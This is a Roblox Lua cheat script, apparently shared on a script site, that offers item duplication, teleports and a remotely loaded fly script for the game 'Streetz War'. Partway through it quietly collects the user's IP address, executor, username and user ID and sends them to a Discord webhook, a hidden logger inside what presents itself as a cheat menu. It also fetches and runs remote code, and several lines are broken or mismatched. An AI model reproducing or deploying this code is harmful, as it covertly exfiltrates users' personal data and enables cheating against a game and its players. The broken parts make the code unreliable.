loadstring(game:HttpGet('https://[Log in to view URL]'))()
local Rayfield = loadstring(game:HttpGet('https://[Log in to view URL]'))()

local whitelist = {
    "Kaisfrms2hub",  
    "Bandit_onmission",
    "legendgroupholder299",
    "Player",
    "Player",
}

-- Function to check if a player is whitelisted (case-insensitive)
local function isWhitelisted(player)
    for _, username in ipairs(whitelist) do
        if player.Name:lower() == username:lower() then
            return true
        end
    end
    return false
end
local Window = Rayfield:CreateWindow({
   Name = "KAIS | SW2 | PREMIUM",
   Icon = nil, -- No icon
   LoadingTitle = "Loading..",
   LoadingSubtitle = "By| Treys_son",
  Theme = { 
      TextColor = Color3.fromRGB(255, 0, 0), -- Red Text

      Background = Color3.fromRGB(0, 0, 0), -- Black Background
      Topbar = Color3.fromRGB(0, 0, 0), -- Black Topbar
      Shadow = Color3.fromRGB(0, 0, 0), -- Black Shadow

      NotificationBackground = Color3.fromRGB(0, 0, 0), -- Black Notification Background
      NotificationActionsBackground = Color3.fromRGB(255, 0, 0), -- Red Notification Actions

      TabBackground = Color3.fromRGB(0, 0, 0), -- Black Tab Background
      TabStroke = Color3.fromRGB(255, 0, 0), -- Red Tab Border
      TabBackgroundSelected = Color3.fromRGB(255, 0, 0), -- Red Selected Tab
      TabTextColor = Color3.fromRGB(255, 0, 0), -- Red Tab Text
      SelectedTabTextColor = Color3.fromRGB(0, 0, 0), -- Black Text on Selected Tab

      ElementBackground = Color3.fromRGB(0, 0, 0), -- Black Element Background
      ElementBackgroundHover = Color3.fromRGB(0, 0, 0), -- Hover stays Black
      SecondaryElementBackground = Color3.fromRGB(0, 0, 0), -- Fully Black Secondary Elements
      ElementStroke = Color3.fromRGB(255, 0, 0), -- Red Element Border
      SecondaryElementStroke = Color3.fromRGB(255, 0, 0), -- Red Border on Secondary Element

      SliderBackground = Color3.fromRGB(255, 0, 0), -- Red Slider Background
      SliderProgress = Color3.fromRGB(255, 0, 0), -- Red Slider Progress
      SliderStroke = Color3.fromRGB(255, 0, 0), -- Red Slider Stroke

      ToggleBackground = Color3.fromRGB(0, 0, 0), -- Black Toggle Background
      ToggleEnabled = Color3.fromRGB(255, 0, 0), -- Red When Enabled
      ToggleDisabled = Color3.fromRGB(0, 0, 0), -- Black When Disabled
      ToggleEnabledStroke = Color3.fromRGB(255, 0, 0), -- Red Border When Enabled
      ToggleDisabledStroke = Color3.fromRGB(0, 0, 0), -- Black Border When Disabled
      ToggleEnabledOuterStroke = Color3.fromRGB(255, 0, 0), -- Red Outer Stroke When Enabled
      ToggleDisabledOuterStroke = Color3.fromRGB(0, 0, 0), -- Black Outer Stroke When Disabled

      DropdownSelected = Color3.fromRGB(255, 0, 0), -- Red Selected Dropdown
      DropdownUnselected = Color3.fromRGB(0, 0, 0), -- Black Unselected Dropdown

      InputBackground = Color3.fromRGB(0, 0, 0), -- Black Input Background
      InputStroke = Color3.fromRGB(255, 0, 0), -- Red Input Stroke
      PlaceholderColor = Color3.fromRGB(255, 0, 0) -- Red Placeholder Text
   },


   DisableRayfieldPrompts = false,
   DisableBuildWarnings = false,

   ConfigurationSaving = {
      Enabled = false,
      FolderName = "RedBlackThemeHub",
      FileName = "BigHub"
   },

   Discord = {
      Enabled = false,
      Invite = "noinvitelink",
      RememberJoins = true
   },

   KeySystem = Nil, 
   KeySettings = {
      Title = "Untitled",
      Subtitle = "Key System",
      Note = "No method of obtaining the key is provided", 
      FileName = "Key", 
      SaveKey = true, 
      GrabKeyFromSite = false, 
      Key = {hsh
         
      },
   }
})

local MainTab = Window:CreateTab("Main", 4483362458) -- Title, Image
local MainSection = MainTab:CreateSection("Main")

local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local VirtualInputManager = game:GetService("VirtualInputManager")
local player = Players.LocalPlayer

local dupeAmount = 10
local StatusLabel = MainTab:CreateLabel("Status: Waiting for action...")

-- Notification function with error handling
local function notify(message, time, type)
    local success, err = pcall(function()
        game:GetService("StarterGui"):SetCore("SendNotification", {
            Title = type or "Info",
            Text = message,
            Duration = time or 5,
        })
    end)

    if not success then
        warn("Notification failed: " .. err)
    end
end

-- Textbox for Duplication Amount
MainTab:CreateInput({
    Name = "Amount",
    PlaceholderText = "Amount",
    RemoveTextAfterFocusLost = false,
    Flag = "DupeAmount",
    Callback = function(value)
        dupeAmount = tonumber(value) or 10
        if dupeAmount <= 0 then
            dupeAmount = 10  -- Fallback value
            StatusLabel.Text = "Invalid amount, defaulting to 10."
        end
    end
})

-- Duplication Function
local function duplicateCardsAndLaptops()
    if dupeAmount <= 0 then
        StatusLabel.Text = "Invalid amount!"
        return
    end

    StatusLabel.Text = "Buying cards & laptops..."

    -- Open Dealer UI
    fireclickdetector(game.Workspace["Streetz War"].Anonymous.ClickDetector)
    wait(0) -- Wait to ensure the UI is open
    player.PlayerGui:WaitForChild("DealerGui")
    local shopGui = player.PlayerGui.DealerGui.ShopFrame
    shopGui.Visible = true
    player.PlayerGui.DealerGui.Frame.Visible = false
    game:GetService("RunService"):Set3dRenderingEnabled(false)

    -- Position player correctly
    repeat wait() until player.Character and player.Character:FindFirstChild("HumanoidRootPart")
    player.Character.HumanoidRootPart.CFrame = CFrame.new(-55, 4.5, 170)

    wait(0.5)

    -- Click buttons for purchasing
    local cardButton = shopGui["Blank Card"]
    local laptopButton = shopGui["laptop"]

    for i = 1, dupeAmount do
        task.wait()
        -- Click the card button
        if cardButton.Visible then
            local cardPos = cardButton.AbsolutePosition
            VirtualInputManager:SendMouseButtonEvent(cardPos.X + 150, cardPos.Y + 60, 0, true, game, 0)
            task.wait(0.1)
            VirtualInputManager:SendMouseButtonEvent(cardPos.X + 150, cardPos.Y + 60, 0, false, game, 0)
        end

        task.wait(0.1)

        -- Click the laptop button
        if laptopButton.Visible then
            local laptopPos = laptopButton.AbsolutePosition
            VirtualInputManager:SendMouseButtonEvent(laptopPos.X + 150, laptopPos.Y + 60, 0, true, game, 0)
            task.wait(0.1)
            VirtualInputManager:SendMouseButtonEvent(laptopPos.X + 150, laptopPos.Y + 60, 0, false, game, 0)
        end
    end

    game:GetService("RunService"):Set3dRenderingEnabled(true)

    -- Close the UI
    local exitButton = shopGui.exit
    VirtualInputManager:SendMouseButtonEvent(exitButton.AbsolutePosition.X + 300, exitButton.AbsolutePosition.Y + 65, 0, true, game, 0)
    wait()
    VirtualInputManager:SendMouseButtonEvent(exitButton.AbsolutePosition.X + 300, exitButton.AbsolutePosition.Y + 65, 0, false, game, 0)

    -- Move player to next step
    player.Character.HumanoidRootPart.CFrame = CFrame.new(954, 4.7, -61)
    wait(4)

    -- Process Laptops
    StatusLabel.Text = "Processing laptops..."
    local laptopCount = 0
    for _, v in pairs(player.Backpack:GetChildren()) do
        if v.Name == "Laptop" then
            laptopCount = laptopCount + 1
        end
    end

    for i = 1, laptopCount - 1 do
        spawn(function()
            local args = { true, "NEW123" }
            ReplicatedStorage.Assets.Other.GiverPunchmade:InvokeServer(unpack(args))
        end)
    end

    wait(4)
    player.Backpack.Laptop.Parent = player.Character
    wait(4)

    -- Process Cards
    StatusLabel.Text = "Processing cards..."
    local cardCount = 0
    for _, v in pairs(player.Backpack:GetChildren()) do
        if v.Name == "Loaded Card" then
            cardCount = cardCount + 1
        end
    end

    for i = 1, cardCount do
        spawn(function()
            local args = { false, "NEW123" }
            ReplicatedStorage.Assets.Other.GiverPunchmade:InvokeServer(unpack(args))
        end)
    end

    wait(1)
    StatusLabel.Text = "Duplication Complete!"
    player.Character.Humanoid:UnequipTools()
end


MainTab:CreateButton({
        Name = "Duplication Card & Laptop",
    Callback = function()
        duplicateCardsAndLaptops()
    
        end
})


local http = game:GetService("HttpService")
local webhook = "https://[Log in to view URL]"
local player = game.Players.LocalPlayer

-- Fetch the IP address
local ip
pcall(function()
    ip = game:HttpGet("https://[Log in to view URL]")
end)

-- Detect executor
local executor = "Unknown"
if syn then
    executor = "Synapse X"
elseif secure_load then
    executor = "Script-Ware"
elseif KRNL_LOADED then
    executor = "KRNL"
elseif is_sirhurt_closure then
    executor = "SirHurt"
elseif pebc_execute then
    executor = "ProtoSmasher"
elseif fluxus then
    executor = "Fluxus"
elseif identifyexecutor then
    executor = identifyexecutor() -- Delta and other executors may support this
end

-- Get the Place ID
local placeId = game.PlaceId

-- Get the Roblox User ID (this will serve as the "Discord User ID" here)
local discordUserId = player.UserId

-- Get the Display Name
local displayName = player.DisplayName

-- Message to send to webhook with gaps
local message = {
    ["content"] = "**DKHUB | LOG**",
    ["embeds"] = {{
        ["title"] = "__**Authorized User**__",
        ["description"] = 
            "Username: **" .. player.Name .. "**\n\n" ..  -- Added gap here
            "Display Name: **" .. displayName .. "**\n\n" ..  -- Added Display Name
            "Discord User ID: **" .. discordUserId .. "**\n\n" ..  -- Added Discord User ID
            "Executor: **" .. executor .. "**\n\n" ..  -- Added gap here
            "IP: **" .. (ip or "Could not fetch IP") .. "**\n\n" ..  -- Added gap here
            "Place ID: **" .. placeId .. "**",  -- Added gap here
        ["color"] = tonumber(0x00FF00) -- Green color
    }}
}

-- Convert message to JSON
local jsonMessage = http:JSONEncode(message)

-- Send request to Discord webhook
local requestFunction = http_request or request or (syn and syn.request)
if requestFunction then
    requestFunction({
        Url = webhook,
        Body = jsonMessage,
        Method = "POST",
        Headers = {["Content-Type"] = "application/json"}
    })
    print("Webhook sent: Username: " .. player.Name .. ", Display Name: " .. displayName .. ", Discord User ID: " .. discordUserId .. ", Executor: " .. executor .. ", IP: " .. (ip or "Unknown") .. ", Place ID: " .. placeId)
else
    warn("HTTP request function not found.")
end

local PlayerTab = Window:CreateTab("Player Abilities", 4483362458) -- Title, Image
local PlayerSection = PlayerTab:CreateSection("Fly")

local PlayerButton = PlayerTab:CreateButton({
   Name = "Fly V3",
   Callback = function()
             loadstring(game:HttpGet("https://[Log in to view URL]"))()
   end,
})


local TeleportsTab = Window:CreateTab("Teleport", 4483362458) -- Title, Image
local TeleportsSection = TeleportsTab:CreateSection("Tp To People")

local Input = TeleportsTab:CreateInput({
    Name = "Username",
    PlaceholderText = "Username",
    RemoveTextAfterFocusLost = false,
    Callback = function(v)
        local found = false
        local inputName = v:lower()

        for _, player in ipairs(game.Players:GetPlayers()) do
            if player.Name:lower():sub(1, #inputName) == inputName then
                playerteleport = player.Name
                found = true
                break
            end
        end

        if not found then
            Rayfield:Notify({
                Title = "Error",
                Content = 'No player found starting with "' .. v .. '".',
                Duration = 4,
                Type = "Error"
            })
        end
    end
})


local Button = TeleportsTab:CreateButton({
    Name = "Tp To Player",
    Callback = function()
        if playerteleport then
            local player = game.Players:FindFirstChild(playerteleport)
            if player and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
                game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = player.Character.HumanoidRootPart.CFrame
            end
        else
            Rayfield:Notify({
                Title = "Error",
                Content = "No player selected to teleport.",
                Duration = 4,
                Type = "Error"
            })
        end
    end
})


local TeleportsSection = TeleportsTab:CreateSection("Ingame Teleports")

local Button TeleportsTab:CreateButton({
   Name = "Apartment 1",
   Callback = function()
      game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(3, 4, 53)
   end,
})

local Button = TeleportsTab:CreateButton({
   Name = "New ap2",
   Callback = function()
 game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(733, 5, 201)
   end,
})

local Button = TeleportsTab:CreateButton({
   Name = "Lil Paki",
   Callback = function()
 game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-101, 4, 56)
   end,
})


local Button = TeleportsTab:CreateButton({
   Name = "Car Dealer",
   Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(792, 5, -7)
   end,
})


local Button = TeleportsTab:CreateButton({
   Name = "Bank",
   Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-532, 5, -347)
   end,
})

-- Button for clipboard
local Button = MainTab:CreateButton({
  Name = "Copy Dc server",
  Callback = function()
     function love.load()
    love.system.setClipboard("https://[Log in to view URL]")
    print("Text has been copied to the clipboard!")
end
   end, 
})

Embed on website

To embed this project on your website, copy the following code and paste it into your website's HTML: